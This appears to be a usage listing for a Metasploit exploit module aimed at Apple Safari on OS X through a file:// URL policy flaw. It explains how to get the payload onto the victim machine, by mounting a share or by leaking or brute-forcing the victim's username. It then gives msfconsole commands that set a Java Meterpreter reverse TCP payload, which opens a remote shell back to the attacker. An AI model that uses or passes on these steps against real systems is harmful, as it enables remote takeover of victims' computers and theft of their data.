Description :

This module exploits a vulnerability found in Apple Safari on OSX platform. A policy issue in the handling of file:// URLs may allow arbitrary remote code execution under the context of the user. In order to trigger arbitrary remote code execution, the best way seems to be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or a fileformat that OSX might automount), and then execute it in /Volumes/[share]. If there’s some kind of bug that leaks the victim machine’s current username, then it’s also possible to execute the payload in /Users/[username]/Downloads/, or else bruteforce your way to getting that information. Please note that non-java payloads (*.sh extension) might get launched by Xcode instead of executing it, in that case please try the Java ones instead.

Commands :

use exploit/osx/browser/safari_file_policy
set URIPATH /readme.html
set TARGET 1
set PAYLOAD java/meterpreter/reverse_tcp
